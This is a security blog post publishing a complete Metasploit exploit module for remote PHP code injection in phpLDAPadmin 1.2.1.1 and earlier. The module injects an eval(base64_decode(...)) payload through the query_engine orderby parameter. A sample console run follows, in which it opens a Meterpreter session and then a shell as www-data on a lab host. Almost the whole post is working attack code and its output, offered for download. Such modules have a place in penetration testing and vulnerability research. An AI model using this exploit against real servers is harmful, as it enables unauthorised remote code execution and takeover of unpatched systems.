read, write, eXecute…

phpLDAPadmin ⇐ 1.2.1.1 (query_engine) remote PHP code injection vulnerability download
##
# $Id: phpldapadmin_query_engine.rb 14060 2011-10-25 05:25:39Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::HttpClient
        include Msf::Payload::Php

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
                        'Description'    => %q{
                                        This module exploits a vulnerability in the lib/functions.php that allows
                                attackers input parsed directly to the create_function() php function. A patch was
                                issued that uses a whitelist regex expression to check the user supplied input
                                before being parsed to the create_function() call.
                        },
                        'Author'         =>
                                [
                                        'EgiX <n0b0d13s[at]gmail-com>',               # original discovery/poc
                                        'mr_me <steventhomasseeley[at]gmail-com>',    # msf
                                        'TecR0c <roccogiovannicalvi[at]gmail-com >',  # msf
                                ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 14060 $',
                        'References'     =>
                                [
                                        ['BID', '50331'],
                                        ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
                                        ['URL', 'http://www.exploit-db.com/exploits/18021/'],
                                ],
                        'Privileged'     => false,
                        'Payload'        =>
                                {
                                        'DisableNops' => true,
                                        'Space'       => 4000,
                                        'Keys'        => ['php'],
                                },
                        'Platform'       => ['php'],
                        'Arch'           => ARCH_PHP,
                        'Targets'        => [[ 'Automatic', { }]],
                        'DisclosureDate' => 'Oct 24 2011',
                        'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
                                ], self.class)
        end

        def check
                uri = ''
                uri << datastore['URI']
                uri << '/' if uri[-1,1] != '/'
                uri << 'index.php'

                res = send_request_raw(
                        {
                                'method'  => 'GET',
                                'uri' => uri,
                        }, 3)

                if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
                        return Exploit::CheckCode::Vulnerable
                end

                return Exploit::CheckCode::Safe
        end

        def get_session
                uri = ''
                uri << datastore['URI']
                uri << '/' if uri[-1,1] != '/'
                uri << 'index.php'

                res = send_request_raw(
                        {
                                'method'  => 'GET',
                                'uri' => uri,
                        }, 3)

                if (not res.headers['Set-Cookie'])
                        print_error("Could not generate a valid session")
                        return
                end

                return res.headers['Set-Cookie']
        end

        def cleanup
                # We may not be using php/exe again, so clear the CMD option
                if datastore['CMD']
                        datastore['CMD'] = nil
                end
        end

        def exploit
                # if we are using the exec CMD stager
                # important to check which php functions are disabled
                if datastore['CMD']
                        cmd = Rex::Text.encode_base64(datastore['CMD'])
                        dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
                        out = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
                        shell = <<-END_OF_PHP_CODE
                        $c = base64_decode("#{cmd}");
                        #{php_preamble({:disabled_varname => dis})}
                        #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis, :output_varname => out})}
                        echo #{out};
                        END_OF_PHP_CODE
                        p = Rex::Text.encode_base64(Rex::Text.compress(shell))
                else
                        p = Rex::Text.encode_base64(payload.encoded)
                end

                # Generate some random strings
                hidden_header = rand_text_alpha_upper(6)
                fake_func_name = rand_text_alpha_upper(2)

                # build attack string
                php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
                data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
                session = get_session

                uri = ''
                uri << datastore['URI']
                uri << '/' if uri[-1,1] != '/'
                uri << 'cmd.php'

                res = send_request_cgi(
                        {
                                'method' => 'POST',
                                'uri' => uri,
                                'data' => data,
                                'headers' =>
                                        {
                                                "#{hidden_header}" => p,
                                                'Cookie' => session,
                                                'Connection' => 'Close',
                                        },

                        }, 3)

                print_status("%s" % res.body) if datastore['CMD']
        end

end
example usage
[mr_me@neptune phpldap]$ msfconsole -r phpldapadmin.rc

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.1.0-release [core:4.1 api:1.0]
+ -- --=[ 752 exploits - 384 auxiliary - 96 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r14005 updated 5 days ago (2011.10.19)

resource (phpldapadmin.rc)> use exploit/unix/webapp/phpldapadmin_query_engine
resource (phpldapadmin.rc)> set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp
resource (phpldapadmin.rc)> set RHOST 192.168.219.145
RHOST => 192.168.219.145
resource (phpldapadmin.rc)> set URI /webapp/phpldapadmin/htdocs/
URI => /webapp/phpldapadmin/htdocs/
resource (phpldapadmin.rc)> set LHOST 192.168.219.1
LHOST => 192.168.219.1
resource (phpldapadmin.rc)> check
[+] The target is vulnerable.
resource (phpldapadmin.rc)> exploit -j
[*] Exploit running as background job.

[*] Started bind handler
msf  exploit(phpldapadmin_query_engine) > [*] Sending stage (38553 bytes) to 192.168.219.145
[*] Meterpreter session 1 opened (192.168.219.1:39866 -> 192.168.219.145:4444) at 2011-10-24 19:02:34 +1100

msf  exploit(phpldapadmin_query_engine) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : webapp
OS          : Linux webapp 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:50 UTC 2011 i686
Meterpreter : php/php
meterpreter > shell
Process 9011 created.
Channel 0 created.
uname -a
Linux webapp 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:50 UTC 2011 i686 i686 i386 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)